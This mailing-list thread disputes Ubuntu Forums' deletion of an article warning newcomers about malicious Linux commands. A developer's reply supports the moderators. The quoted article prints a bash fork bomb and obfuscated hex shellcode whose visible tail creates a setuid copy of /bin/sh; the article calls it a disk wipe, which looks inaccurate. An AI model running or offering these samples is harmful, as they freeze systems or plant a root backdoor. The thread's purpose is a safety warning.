I am revolted against the injustice of Ubuntu Forums administrators and moderators .

[Matthew Dillon]

Ummm.  There are literally tens of thousands of bits of code like this
floating around the internet, which anyone can cook up with a few seconds
of thought.  They are harmless on their own, so there is not much of a
point posting one on a discussion forum.  What you posted is just a code
fragment and not an actual exploit.  The Ubuntu moderators were correct in
removing it for the reasons they stated... they don't want people
accidentally cutting-and-pasting commands which could destroy their
filesystems from a forum posting.

Also, this isn't a Linux forum.

-Matt

On Thu, Dec 20, 2018 at 9:18 PM Command FreeBSD <commandfreebsd at gmail.com>
wrote:

> Hi,
>
> The article that have spoken about Linux malicious commands that was
> posted in Ubuntu Forums was restored, but who accessed this link yesterday
> and this morning saw that this article has been deleted.
>
> Very strange!
>
> I also posted this topic in Ask Ubuntu Estack Overflow Exchange:
> https://askubuntu.com/questions/1103483/why-the-article-that-have-spoken-about-linux-malicious-commands-that-was-posted?noredirect=1#comment1819053_1103483
>
> I want to tell for the newbies to Linux that the article that have spoken
> about Linux malicious commands that was posted in Ubuntu Forums was
> deleted: https://ubuntuforums.org/announcement.php?f=326
>
> The following messages was written in this article that was posted in
> Ubuntu Forums:
>
> [quote] Ubuntu Forums has a strict zero-tolerance policy when it comes to
> posting dangerous commands. In the past members have been banned for
> posting dangerous commands. If the intent is malicious, this is simply
> unnacceptable. If it is meant as a joke – it is not funny.
>
> Please be cautious when a command is suggested or if directed to download
> script/s as a solution to a problem. When in doubt as to the safety of the
> procedure, it's always a good idea to wait for more opinions, and/or have
> the command explained and verify if the explanation makes sense by
> consulting readily available documentation on Linux commands (such as
> manpages). If you have any doubts about the content of a command or script,
> report the post/thread and forum staff will investigate.
>
> Please take care when posting commands or scripts to assist other users.
> Post only well known, documented and current commands appropriate for the
> operating system in use, or scripts from reputable sources. If you do post
> commands in order to help someone but which have the potential to be
> dangerous, always make sure you warn possible users of the dangers, not
> just to the user you are helping, but others who may come across the post
> later. If posting scripts that help with various tasks, please be prepared
> to provide a source and description of the content. [/quote]
>
> [quote] Forkbomb: It is a malicious script that will execute a huge number
> of processes until your system freezes, forcing you to do a hard reboot
> which may cause data corruption or data damage.
>
> The below command looks really intriguing and curiosity may lead new and
> inexperienced users to execute it! DON'T EXECUTE THEM! [/quote]
>
> [code] :(){ :|:& };:[/code]
>
> [quote] The below command is nothing but the first command above (rm -rf).
> Here the codes are hidden in hex so that an ignorant user may be fooled.
> Running the below code in your terminal will wipe your root partition.
>
> This command here shows that the threat may be hidden and not normally
> detectable sometimes. You must be aware of what you are doing and what
> would be the result. Don’t compile/run codes from an unknown source.
>
> char esp[] *attribute* ((section(“.text”))) /* e.s.p release */ =
> “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
> “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
> “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
> “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
> “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
> “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
> “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755
> /tmp/.beyond;”; [/quote]
>
> The messages that I quoted above was written in following link:
> https://ubuntuforums.org/announcement.php?f=326
>
> This article have opoken about Linux malicious commands.
>
> Why this article that have spoken about Linux malicious commands that was
> posted in Ubuntu Forums was deleted?
>
> I posted this topic in Ubuntu Forums, but this topic was moved to The Jail
> and then deleted.
>
> It appears that Ubuntu Forums administrators want to fool the newbies.
>
> EDIT:
>
> I want to tell for the newbies to Linux that the article that have spoken
> about Linux malicious commands that was posted in Ubuntu Forums was deleted
> and that it appears that Ubuntu Forums administrators want to fool the
> newbies: https://ubuntuforums.org/announcement.php?f=326
>
> Who accessed the Ubuntu Forums this morning saw that I posted about
> malicious commands in General Help and News to Ubuntu in Ubuntu Forums, but
> the topics that I posted in Ubuntu Forums was deleted. Very strange! It
> appears that Ubuntu Forums administrators want to fool the newbies.
>
>
> I also posted this topic in debian users and ubuntu users mailing lists:
>
>
> https://lists.debian.org/debian-user/2018/12/msg00573.html
>
> https://lists.ubuntu.com/archives/ubuntu-users/2018-December/296077.html
>
> I am revolted against the injustice of Ubuntu Forums administrators and
> moderators .
>
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